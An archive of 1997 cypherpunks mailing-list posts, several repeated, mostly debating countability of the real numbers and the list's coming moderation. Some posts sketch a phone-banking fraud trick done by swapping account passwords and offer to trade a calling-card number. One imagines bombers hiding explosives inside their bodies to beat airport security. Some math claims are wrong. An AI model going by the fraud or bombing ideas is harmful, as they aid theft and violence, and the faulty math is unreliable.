MIME-Version: 1.0
Content-Type: text/plain


Paul Elliott wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> > At 10:48 PM 1/18/1997, Secret Squirrel wrote:
> > >Is it REALLY true that there are real numbers that cannot be
> > >generated by any algorithm? Some guy said that since the set of
> > >algorithms is countable, but the set of real numbers is more than
> > >countable, there must be some numbers for which there is no
> > >algorithms that generate them.
> > 
> > There are sets of real numbers whose existence we can prove, but which
> > we cannot otherwise describe.  This is more extreme than being
> > "generated by an algorithm".  We can't even tell somebody which
> > numbers to generate!  (I take "to generate" here to mean "to compute a
> > decimal approximation.")
> > 
> > The set of real numbers is uncountable as is the set of subsets of the
> > real numbers.  Yet, we have only countably infinite ways to describe
> > sets of numbers.
> > 
> > All sets of numbers which we can describe can be described with a
> > finite set of symbols.  (Human beings are unable to distinguish
> > between an infinite number of states.)  The set of combinations of
> > this finite set is infinite, but countable.
> > 
> 
> Perhaps the axioms in set theory that tells us that the integers
> have an uncountable number of subsets is, in point of fact, false.
> Perhaps only those subsets of the integers that can be described
> by an algorithm exist (actually, contrary to what the usual axioms of
> set theory assert).

It is very interesting. My limited understanding of this approach is
that they say that only things that can be constructed by some
positive method exist (please correct me if I am mistaken).

But the question is, where do they stop and what exactly is "construction?"

Say, does sqrt(2) "exist" in their sense of the world? We know we can
calculate any given number of digits in it, is that enough?

> We know that the set of axioms which tell us that there are unaccountably
> many reals can be satisfied by a countable model!
> (Downward Louwenheim Skolem Tarski theorem.)
> 
> I know that Standard mathematical axioms yields lots of interesting
> results, but when it talks of the infinite and we are dealing
> with a practical subject like cryptography or even physics it
> should not be taken too seriously. (With respect to uncountable sets.)

Some of the applications of these theories are very relevant. For
example, a theorem that proves that it is impossible to write a program
that would determine if any other program would stop or loop forever, is
very relevant and interesting.

	- Igor.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 19 Jan 1997 18:38:55 -0800 (PST)
To: paul.elliott@hrnowl.lonestar.org (Paul Elliott)
Subject: Re: Numbers we cannot talk about
In-Reply-To: <32e2a55c.flight@flight.hrnowl.lonestar.org>
Message-ID: <199701200234.UAA06387@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Paul Elliott wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> > At 10:48 PM 1/18/1997, Secret Squirrel wrote:
> > >Is it REALLY true that there are real numbers that cannot be
> > >generated by any algorithm? Some guy said that since the set of
> > >algorithms is countable, but the set of real numbers is more than
> > >countable, there must be some numbers for which there is no
> > >algorithms that generate them.
> > 
> > There are sets of real numbers whose existence we can prove, but which
> > we cannot otherwise describe.  This is more extreme than being
> > "generated by an algorithm".  We can't even tell somebody which
> > numbers to generate!  (I take "to generate" here to mean "to compute a
> > decimal approximation.")
> > 
> > The set of real numbers is uncountable as is the set of subsets of the
> > real numbers.  Yet, we have only countably infinite ways to describe
> > sets of numbers.
> > 
> > All sets of numbers which we can describe can be described with a
> > finite set of symbols.  (Human beings are unable to distinguish
> > between an infinite number of states.)  The set of combinations of
> > this finite set is infinite, but countable.
> > 
> 
> Perhaps the axioms in set theory that tells us that the integers
> have an uncountable number of subsets is, in point of fact, false.
> Perhaps only those subsets of the integers that can be described
> by an algorithm exist (actually, contrary to what the usual axioms of
> set theory assert).

It is very interesting. My limited understanding of this approach is
that they say that only things that can be constructed by some
positive method exist (please correct me if I am mistaken).

But the question is, where do they stop and what exactly is "construction?"

Say, does sqrt(2) "exist" in their sense of the world? We know we can
calculate any given number of digits in it, is that enough?

> We know that the set of axioms which tell us that there are unaccountably
> many reals can be satisfied by a countable model!
> (Downward Louwenheim Skolem Tarski theorem.)
> 
> I know that Standard mathematical axioms yields lots of interesting
> results, but when it talks of the infinite and we are dealing
> with a practical subject like cryptography or even physics it
> should not be taken too seriously. (With respect to uncountable sets.)

Some of the applications of these theories are very relevant. For
example, a theorem that proves that it is impossible to write a program
that would determine if any other program would stop or loop forever, is
very relevant and interesting.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
Date: Sun, 19 Jan 1997 11:43:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: And who will "moderate" the windbag Sandfort?
Message-ID: <199701191943.UAA14523@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



One of the biggest offendors in getting into long flamewars has always been
Sandfort himself. Why am I not surprised that most of his recent posts have
had nothing to do with crypto but a lot to do with his own flames about
others?

And at such length, oh vey!

He said:

"First, I did not use it as a legal term of art, so a legal
dictionary is not appropriate.  Second, I see no sustantive
difference between "forejudgment" and my shorthand version
(pre-judge).  Third, I wrote "literal."  Examine the etimology of
the word for it's literal meaning.  It's pretty obvious AND
specific [ME.; OFr, /prejudice/ (Fr. /prejudice/); L praejudicium/,
from /prae/, before, and /judicium/, a judgment, from /judex/,
/judicgis/, a judge.]  In other words, to pre-judge.  Get it?"

Blah blah blah yadda yadda yadda yadda yo momma wears army boots yadda
yadda blah blah

This longwinded flame is from a longwinded windbag. He proposes to screen
the posts of others for "suitability" but flames others ("dont be such an
ass" in another of this afternoon's posts from him) and resorts to long and
boring dissections like this one.

"I have no intention nor duty to satisfy everyone.  That is not
possible.  I will use a "reasonable person" test.  (I am, by the
way, using this in the legal term of art sense.)"

Who will moderate this "windbag"?

He thinks the list is his. It may run on Gilmour's machine, but the
"Cypherpunks" are not owned by Gilmour and Sandfort.


"P.S.    I talked to Gilmore about the holdup in getting
        started.  He has been too busy to get the tech
        side going, but when he does, (a) everyone will
        be notifed as to the start date, and the test
        will still run for an entire month.  Until then,
        it is (sadly) business as usual."

Why was this new dictatoriul policy  (especially making the moderated list
the default, instead of offering the moderated list as a new option)
announced to begin on January 11th, then?

Gilmour is probly having second thoughts (a good thing) and is just
dragging his feet.

Disgusted.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 19 Jan 1997 19:10:49 -0800 (PST)
To: sandfort@crl.com (Sandy Sandfort)
Subject: Re: AIDAS, SHMADIDAS
In-Reply-To: <Pine.SUN.3.91.970119183621.14346C-100000@crl3.crl.com>
Message-ID: <199701200305.VAA06634@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


alright, i retract my statement.

Thank you, Sandy.

igor

Sandy Sandfort wrote:
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
> 
> C'punks,
> 
> On Sun, 19 Jan 1997 ichudov@algebra.com wrote:
> 
> > I would love to hear Sandy's statement as to whether AIDAS is Sandy 
> > Sandfort or not. If Sandy says no, I will believe him, because his
> > reputation has a longer time span than AIDAS's. 
> > 
> > In case Sandy says that AIDAS is not him, I will publicly retract my
> > statement, which by the way I made to AIDAS privately (I have no idea
> > why he posted it to the mailing list, although I do not really mind).
> 
> Normally, I would not comment one way or the other on this sort
> of thing.  We have a whole alphabet soup of aliases out there and
> I don't intend to waste time with denials.  Heck, it helps keep
> an air of mystery about the list.  But Igor has been a fair and
> reasoned contributor to this list, so as a personal favor I will
> admit that I AM NOT AIDAS.  Sorry, but that's the truth.
> 
> 
>  S a n d y
> 
> P.S.	I'm not Igor either.
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 19 Jan 1997 19:42:01 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: AIDAS, SHMADIDAS
Message-ID: <199701200342.TAA29111@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


alright, i retract my statement.

Thank you, Sandy.

igor

Sandy Sandfort wrote:
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
> 
> C'punks,
> 
> On Sun, 19 Jan 1997 ichudov@algebra.com wrote:
> 
> > I would love to hear Sandy's statement as to whether AIDAS is Sandy 
> > Sandfort or not. If Sandy says no, I will believe him, because his
> > reputation has a longer time span than AIDAS's. 
> > 
> > In case Sandy says that AIDAS is not him, I will publicly retract my
> > statement, which by the way I made to AIDAS privately (I have no idea
> > why he posted it to the mailing list, although I do not really mind).
> 
> Normally, I would not comment one way or the other on this sort
> of thing.  We have a whole alphabet soup of aliases out there and
> I don't intend to waste time with denials.  Heck, it helps keep
> an air of mystery about the list.  But Igor has been a fair and
> reasoned contributor to this list, so as a personal favor I will
> admit that I AM NOT AIDAS.  Sorry, but that's the truth.
> 
> 
>  S a n d y
> 
> P.S.	I'm not Igor either.
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Sun, 19 Jan 1997 21:15:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
Message-ID: <199701200513.VAA00645@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:44 PM 1/17/97 -0600, Igor Chudov wrote:

>It is my understanding that an ordinary banking consumer that
>uses "pay bills by phone" service cannot transfer $$ to any arbitrary
>account. There is a limited list of permitted accounts, such as utility 
>companies. Therefore, the risk of unauthorized transfer is very
>limited.


It is limited, both accounts have to have the same password, (four
character, numeric.)  If I want to transfer funds from another persons
account to one that I control, all I have to do is change the password on
one of them to that of the other, transfer funds, and change the password
back.  By the time that my victim found out, (via the little letter "per
your request, $xxx was transferred to accnt#123456 from accnt#7890"), I
would be long gone.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Sun, 19 Jan 1997 22:11:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
Message-ID: <199701200611.WAA01690@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:44 PM 1/17/97 -0600, Igor Chudov wrote:

>It is my understanding that an ordinary banking consumer that
>uses "pay bills by phone" service cannot transfer $$ to any arbitrary
>account. There is a limited list of permitted accounts, such as utility 
>companies. Therefore, the risk of unauthorized transfer is very
>limited.


It is limited, both accounts have to have the same password, (four
character, numeric.)  If I want to transfer funds from another persons
account to one that I control, all I have to do is change the password on
one of them to that of the other, transfer funds, and change the password
back.  By the time that my victim found out, (via the little letter "per
your request, $xxx was transferred to accnt#123456 from accnt#7890"), I
would be long gone.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Sun, 19 Jan 1997 21:13:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Debt (calling) Cards Re: Newt's phone calls
Message-ID: <199701200513.VAA00653@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:58 PM 1/17/97 -0800, Rich Graves wrote:

>What does concern me is personal privacy. I don't want people tracking
>my movements or purchasing patterns, so I prefer to use cash or
>pseudonymous debit cards.

This reminds me, I got a sprint 5 minute sample calling card when I got my
college texts.  I suspect that other people on this list got one as well.
Mine is completely unused and although transferring the actual cards would
cost, (the stamp and envelope), would anyone be interested in trading the
numbers?  This one is registered as being handed out in Weatherford Okla.
Five minutes of long distance is trivial, so I would be willing to trade in
regular e-mail, as opposed to through a middleman.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Sun, 19 Jan 1997 22:12:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Debt (calling) Cards Re: Newt's phone calls
Message-ID: <199701200612.WAA01710@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:58 PM 1/17/97 -0800, Rich Graves wrote:

>What does concern me is personal privacy. I don't want people tracking
>my movements or purchasing patterns, so I prefer to use cash or
>pseudonymous debit cards.

This reminds me, I got a sprint 5 minute sample calling card when I got my
college texts.  I suspect that other people on this list got one as well.
Mine is completely unused and although transferring the actual cards would
cost, (the stamp and envelope), would anyone be interested in trading the
numbers?  This one is registered as being handed out in Weatherford Okla.
Five minutes of long distance is trivial, so I would be willing to trade in
regular e-mail, as opposed to through a middleman.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Sun, 19 Jan 1997 21:13:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
Message-ID: <199701200513.VAA00660@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:04 PM 1/17/97 EST, Dr.Dimitri Vulis wrote:
>snow <snow@smoke.suba.com> writes:
>
>> > I say we make people fly naked and ship their stuff via UPS ;).
>>
>>     >>shudder<<
>>
>>     No!. A clear case of the cure being worse than the disease...
>
>Why. it might be fun - those long flight can be so boring with clothes on...
>
Wouldn't work.  A sworn member of the holy order of the restitution for the
crimes of my enemies, has an explosive device buried within h[is/er] bowels.
When (s)he goes up, alone, (s)he will take 100+ enemies with h[im/er].  Of
course (s)he has to be willing to die, or be duped into thinking that (s)he
really has appendicitis.  So a courier would still be easy to find.
Or, a cancer infected member of said religious cult, knowing that (s)he will
soon die anyway, and probably atone for h[is/er] many sins, ((s)he hasn't
really done anything rightous, like kill one of the enemy), chooses to have
h[is/er] cancerous bowels, up to the stomache, removed, and replaced with a
bomb.  (s)he then heals up a little while, being fed intraveinously, until
the time of h[is/er] atonement.  A makeup artist erases the signs of disease
that (s)he carries and a large dose of pain killer is given to h[im/er] to
take right before entering the airport.  (s)he dies knowing that (s)he is
going straight past heaven to an even higher level.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Sun, 19 Jan 1997 22:14:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
Message-ID: <199701200614.WAA01733@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:04 PM 1/17/97 EST, Dr.Dimitri Vulis wrote:
>snow <snow@smoke.suba.com> writes:
>
>> > I say we make people fly naked and ship their stuff via UPS ;).
>>
>>     >>shudder<<
>>
>>     No!. A clear case of the cure being worse than the disease...
>
>Why. it might be fun - those long flight can be so boring with clothes on...
>
Wouldn't work.  A sworn member of the holy order of the restitution for the
crimes of my enemies, has an explosive device buried within h[is/er] bowels.
When (s)he goes up, alone, (s)he will take 100+ enemies with h[im/er].  Of
course (s)he has to be willing to die, or be duped into thinking that (s)he
really has appendicitis.  So a courier would still be easy to find.
Or, a cancer infected member of said religious cult, knowing that (s)he will
soon die anyway, and probably atone for h[is/er] many sins, ((s)he hasn't
really done anything rightous, like kill one of the enemy), chooses to have
h[is/er] cancerous bowels, up to the stomache, removed, and replaced with a
bomb.  (s)he then heals up a little while, being fed intraveinously, until
the time of h[is/er] atonement.  A makeup artist erases the signs of disease
that (s)he carries and a large dose of pain killer is given to h[im/er] to
take right before entering the airport.  (s)he dies knowing that (s)he is
going straight past heaven to an even higher level.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 19 Jan 1997 21:54:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: infinity & set membership
Message-ID: <199701200554.VAA31722@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


At 4:36 PM 1/19/1997, Jim Choate wrote:
>"The least upper bound of a set of real numbers is often called the
>supremum, the greatest lower bound its infimum. In general the supremum and
>infimum of a set ARE MEMBERS OF THE SET or at least LIMITS OF SEQUENCES OF
>MEMBERS OF THE SET."
>
>[capitalization is mine]
>
>In this case the suprenum is infinity.
>
>Introduction to Calculus and Analysis
>Courant and John
>Vol. 1, pp. 97, Section e.
>1965 Edition
>Library of Congress: 65-16403

I presume this is a reference to Jim's earlier post:

At 1:19 PM 1/19/1997, Jim Choate wrote:
>Forwarded message:
>
>> Date: Sun, 19 Jan 1997 12:20:45 -0600
>> From: Sir Robin of Locksley <tozser@stolaf.edu>
>
>>  >Is it possible to prove that number 0.1234567891011121314151617181920...
>>  >iz irrational? 
>>  
>> Most definately. All you need to do is prove that the set of this number is
>> uncountable, ergo is irrational. If you have friend who have done math in real
>> analysis they can explain more.
>
>irrational means 'not expressible as the ratio of two integers', this does
>not imply uncountable.
>
>Whether 0.12345678910111213... is irrational or not depends on how we choose
>to define a rational number where the denominator and numerator are both
>approaching infinity and how quickly those approaches occur.
>
>[ What is your definition of infinity/infinity ?]
>
>As alluded to before,
>
>  0.12345678910111213    =    12345678910111213.... / n 
>
>  (where n = infinity)
>
>0.123456789101112... is certainly countable because by the definition of
>countable it must be 1-to-1 with the counting numbers (ie non-negative
>integers), which this one clearly is since it contains each positive
>non-zero integer (ie the set of numbers required to produce the number are
>clearly less, 1 less to be exact, than the counting numbers).

Of course this same argument could be used to claim that pi is
also rational.  pi =  314159.... / n  (where n=infinity).

What could be the problem here?  One problem might be that an integer
(not including infinity) divided by "infinity" should be 0.

The p/q definition of rational numbers does not rely on "infinity"
being a member of the set of integers.  Also, we rarely hear this
dialogue: "Give me an integer."  "Okay - infinity!"

Still, let's define a set which contains the integers as well as
positive and negative "infinity".  I will call this set the
"Choate-integers."

Let's add some reasonable rules for working with +inf and -inf.  n is
a non-zero positive traditional integer.

a. -inf = +inf * -1
b. +inf * n = +inf
c. +inf + n = +inf
d. +inf / +inf = 1

Operations involving multiplication or division of +inf and zero are
undefined.

Using these definitions, you will find that the p/q definition of
rational numbers operates as expected on the set of Choate-integers.

The argument I supplied earlier for the rational nature of 0.1234...
still holds.

Math Man





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Sun, 19 Jan 1997 22:11:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: infinity & set membership
Message-ID: <199701200611.WAA01701@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 4:36 PM 1/19/1997, Jim Choate wrote:
>"The least upper bound of a set of real numbers is often called the
>supremum, the greatest lower bound its infimum. In general the supremum and
>infimum of a set ARE MEMBERS OF THE SET or at least LIMITS OF SEQUENCES OF
>MEMBERS OF THE SET."
>
>[capitalization is mine]
>
>In this case the suprenum is infinity.
>
>Introduction to Calculus and Analysis
>Courant and John
>Vol. 1, pp. 97, Section e.
>1965 Edition
>Library of Congress: 65-16403

I presume this is a reference to Jim's earlier post:

At 1:19 PM 1/19/1997, Jim Choate wrote:
>Forwarded message:
>
>> Date: Sun, 19 Jan 1997 12:20:45 -0600
>> From: Sir Robin of Locksley <tozser@stolaf.edu>
>
>>  >Is it possible to prove that number 0.1234567891011121314151617181920...
>>  >iz irrational? 
>>  
>> Most definately. All you need to do is prove that the set of this number is
>> uncountable, ergo is irrational. If you have friend who have done math in real
>> analysis they can explain more.
>
>irrational means 'not expressible as the ratio of two integers', this does
>not imply uncountable.
>
>Whether 0.12345678910111213... is irrational or not depends on how we choose
>to define a rational number where the denominator and numerator are both
>approaching infinity and how quickly those approaches occur.
>
>[ What is your definition of infinity/infinity ?]
>
>As alluded to before,
>
>  0.12345678910111213    =    12345678910111213.... / n 
>
>  (where n = infinity)
>
>0.123456789101112... is certainly countable because by the definition of
>countable it must be 1-to-1 with the counting numbers (ie non-negative
>integers), which this one clearly is since it contains each positive
>non-zero integer (ie the set of numbers required to produce the number are
>clearly less, 1 less to be exact, than the counting numbers).

Of course this same argument could be used to claim that pi is
also rational.  pi =  314159.... / n  (where n=infinity).

What could be the problem here?  One problem might be that an integer
(not including infinity) divided by "infinity" should be 0.

The p/q definition of rational numbers does not rely on "infinity"
being a member of the set of integers.  Also, we rarely hear this
dialogue: "Give me an integer."  "Okay - infinity!"

Still, let's define a set which contains the integers as well as
positive and negative "infinity".  I will call this set the
"Choate-integers."

Let's add some reasonable rules for working with +inf and -inf.  n is
a non-zero positive traditional integer.

a. -inf = +inf * -1
b. +inf * n = +inf
c. +inf + n = +inf
d. +inf / +inf = 1

Operations involving multiplication or division of +inf and zero are
undefined.

Using these definitions, you will find that the p/q definition of
rational numbers operates as expected on the set of Choate-integers.

The argument I supplied earlier for the rational nature of 0.1234...
still holds.

Math Man






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 19 Jan 1997 19:53:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: [Math Noise] (fwd)
Message-ID: <199701200400.WAA01432@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Only countably many real numbers, or members of any uncountable
> set, are denumerable. It is the property of being uncountable,
> rather than of being real or complex, which is important here.

In short you are saying there are Reals which can not be expressed in the
format:

     AmEm + Am-1Em-1 + ... + A0E0 . B0E-1 + B1E-2 + ... + BnE-n+1

where m and n -> infinity. Another way of saying this is that there
are Reals for which membership in a set of Reals, because they are
uncountable and therefore unrepresentable, is not possible. From a set
perspective this means,

R = [[-infinity, ..., m] [n, ..., 0] [0, ..., p] [q, ..., +infinity]]

such that there are uncountable numbers between m,n or p,q; etc.
 
Clearly in contradiction with the base axioms of mathematics as described by
Euclid in defining a line.

> In general, only countably many members of any uncountable set
> can be precisely specified within any formal system, given names
> comprised of strings of symbols, or other similar things.

And I contend that ANY number which is Real can be expressed by the decimal
expansion above. Which clearly qualifies as a formal system.

There are three ways of looking at the total of mathematics,

symbolic

set theory (Bourbaki School)

geometric (Euclidian)

While it is true the 3 are equivalent, the choice of approach does have a
relevance on how difficult, if even tractible, the proof is for any particular
concept.

> It is often convenient, such as when drawing contour maps, to
> consider the complex numbers to be in 1-1 correspondence with the
> points of the plane.  However, I wouldn't necessarily consider
> regions of the complex plane to have "area" in the Euclidian
> sense.

The Euclidian plane IS a complex plane. The -j or -i used in Complex
symboligy simply means 'rotate the second axis of measure 90 degree
counter-clockwise (by agreement) to the axis of the first measure'. If it
requires 2 or more numbers (integer or real) taken as a set to represent the
quantity it is a Complex. Regions of a Complex plane are directly
comparable (1-to-1) with the concept of 'area' on the Euclidian plane.

> We can't physically draw a line segment to arbitrary high
> precision.

Irrelevant. If the hole in my approach is that I can't draw a line of
arbitrary precision in practice then your own 'uncountable numbers' argument
falls for the same reason because if it is truly uncountable you can't point
to it on a number line and say "there is an uncountable". This discussion is
one of principles, not one of practice.

> We can conceive of the notion of line segments being
> in 1-1 correspondence with the reals, but we can specify at most
> countably many "finitely denumerable" line segments if we wish to
> discuss their lengths individually.

To say there are Reals for which there is no linear representation is the
same as saying there are lengths which can't be measured. Now since a line
is nothing but a set of points, which don't have size, but only position
this obviously holds no water, unless you are saying it is not possible to
place two points arbitrarily close together, which would imply that points
have some sort of width, clearly against the definition of a point.

This all goes back to what I said in a earlier post, the problem comes from
our axiomatic (ie taken on faith, unprovable) use of infinity. Without a
clear and precise dilineation of those axioms prior to the proof such
conclusions are worthless. Several of you have said "infinity is not a
number", this is an axiom. Change the axioms and the whole structure
changes. I am simply saying that perhaps we should look at the "infinity is
not a number" axiom, much as geometers look at Euclids Fifth Postulate.
There is nothing inherent in nature that prefers one axiomatic expression
of infinity over the other.

By changing our axiomatic definition of infinity we reduce the sets we have
to work with from [Integer, Irrational, Real, Complex] to [Integer, Real,
Complex]. Now, whether it is worth the trouble is at this time unanswerable
because nobody has ever done the research.


                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com


"The laws of mathematics, as far as they refer to reality, are not certain,
and as far as they are certain, do not refer to reality."

                                                  Albert Einstein






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 19 Jan 1997 20:57:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: [Math Noise] (fwd)
Message-ID: <199701200457.UAA00416@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Only countably many real numbers, or members of any uncountable
> set, are denumerable. It is the property of being uncountable,
> rather than of being real or complex, which is important here.

In short you are saying there are Reals which can not be expressed in the
format:

     AmEm + Am-1Em-1 + ... + A0E0 . B0E-1 + B1E-2 + ... + BnE-n+1

where m and n -> infinity. Another way of saying this is that there
are Reals for which membership in a set of Reals, because they are
uncountable and therefore unrepresentable, is not possible. From a set
perspective this means,

R = [[-infinity, ..., m] [n, ..., 0] [0, ..., p] [q, ..., +infinity]]

such that there are uncountable numbers between m,n or p,q; etc.
 
Clearly in contradiction with the base axioms of mathematics as described by
Euclid in defining a line.

> In general, only countably many members of any uncountable set
> can be precisely specified within any formal system, given names
> comprised of strings of symbols, or other similar things.

And I contend that ANY number which is Real can be expressed by the decimal
expansion above. Which clearly qualifies as a formal system.

There are three ways of looking at the total of mathematics,

symbolic

set theory (Bourbaki School)

geometric (Euclidian)

While it is true the 3 are equivalent, the choice of approach does have a
relevance on how difficult, if even tractible, the proof is for any particular
concept.

> It is often convenient, such as when drawing contour maps, to
> consider the complex numbers to be in 1-1 correspondence with the
> points of the plane.  However, I wouldn't necessarily consider
> regions of the complex plane to have "area" in the Euclidian
> sense.

The Euclidian plane IS a complex plane. The -j or -i used in Complex
symboligy simply means 'rotate the second axis of measure 90 degree
counter-clockwise (by agreement) to the axis of the first measure'. If it
requires 2 or more numbers (integer or real) taken as a set to represent the
quantity it is a Complex. Regions of a Complex plane are directly
comparable (1-to-1) with the concept of 'area' on the Euclidian plane.

> We can't physically draw a line segment to arbitrary high
> precision.

Irrelevant. If the hole in my approach is that I can't draw a line of
arbitrary precision in practice then your own 'uncountable numbers' argument
falls for the same reason because if it is truly uncountable you can't point
to it on a number line and say "there is an uncountable". This discussion is
one of principles, not one of practice.

> We can conceive of the notion of line segments being
> in 1-1 correspondence with the reals, but we can specify at most
> countably many "finitely denumerable" line segments if we wish to
> discuss their lengths individually.

To say there are Reals for which there is no linear representation is the
same as saying there are lengths which can't be measured. Now since a line
is nothing but a set of points, which don't have size, but only position
this obviously holds no water, unless you are saying it is not possible to
place two points arbitrarily close together, which would imply that points
have some sort of width, clearly against the definition of a point.

This all goes back to what I said in a earlier post, the problem comes from
our axiomatic (ie taken on faith, unprovable) use of infinity. Without a
clear and precise dilineation of those axioms prior to the proof such
conclusions are worthless. Several of you have said "infinity is not a
number", this is an axiom. Change the axioms and the whole structure
changes. I am simply saying that perhaps we should look at the "infinity is
not a number" axiom, much as geometers look at Euclids Fifth Postulate.
There is nothing inherent in nature that prefers one axiomatic expression
of infinity over the other.

By changing our axiomatic definition of infinity we reduce the sets we have
to work with from [Integer, Irrational, Real, Complex] to [Integer, Real,
Complex]. Now, whether it is worth the trouble is at this time unanswerable
because nobody has ever done the research.


                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com


"The laws of mathematics, as far as they refer to reality, are not certain,
and as far as they are certain, do not refer to reality."

                                                  Albert Einstein







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sun, 19 Jan 1997 22:25:29 -0800 (PST)
To: WinSock Remailer <winsock@rigel.cyberpass.net>
Subject: Re: Take it to sci.math
In-Reply-To: <199701200602.WAA14162@sirius.infonex.com>
Message-ID: <Pine.SUN.3.91.970119221019.11691J-100000@crl7.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Mon, 20 Jan 1997, WinSock Remailer wrote:

> 
> Will all those people who are talking about set theory and
> the countability of various number systems take their discussion
> to sci.math, please? 'Cuz
> ...
> Hey Sandy, you gonna censor these creeps once you start censoring?

I won't be censoring anyone.  I will, however, be sorting posts 
into the three lists.  As I work my way into moderation mode, I
don't expect to sort math or other off-topic posts into the flam
(flames & spam) list.  In retrospect, the previous "creeps" 
comment should probably have gotten the post sorted to the flam
list.  Oh well, I'll get up to speed pretty soon, I hope.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl3.crl.com>
Date: Sun, 19 Jan 1997 22:40:27 -0800 (PST)
To: WinSock Remailer <winsock@rigel.cyberpass.net>
Subject: Re: Take it to sci.math
Message-ID: <199701200640.WAA02127@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Mon, 20 Jan 1997, WinSock Remailer wrote:

> 
> Will all those people who are talking about set theory and
> the countability of various number systems take their discussion
> to sci.math, please? 'Cuz
> ...
> Hey Sandy, you gonna censor these creeps once you start censoring?

I won't be censoring anyone.  I will, however, be sorting posts 
into the three lists.  As I work my way into moderation mode, I
don't expect to sort math or other off-topic posts into the flam
(flames & spam) list.  In retrospect, the previous "creeps" 
comment should probably have gotten the post sorted to the flam
list.  Oh well, I'll get up to speed pretty soon, I hope.


 S a n d y

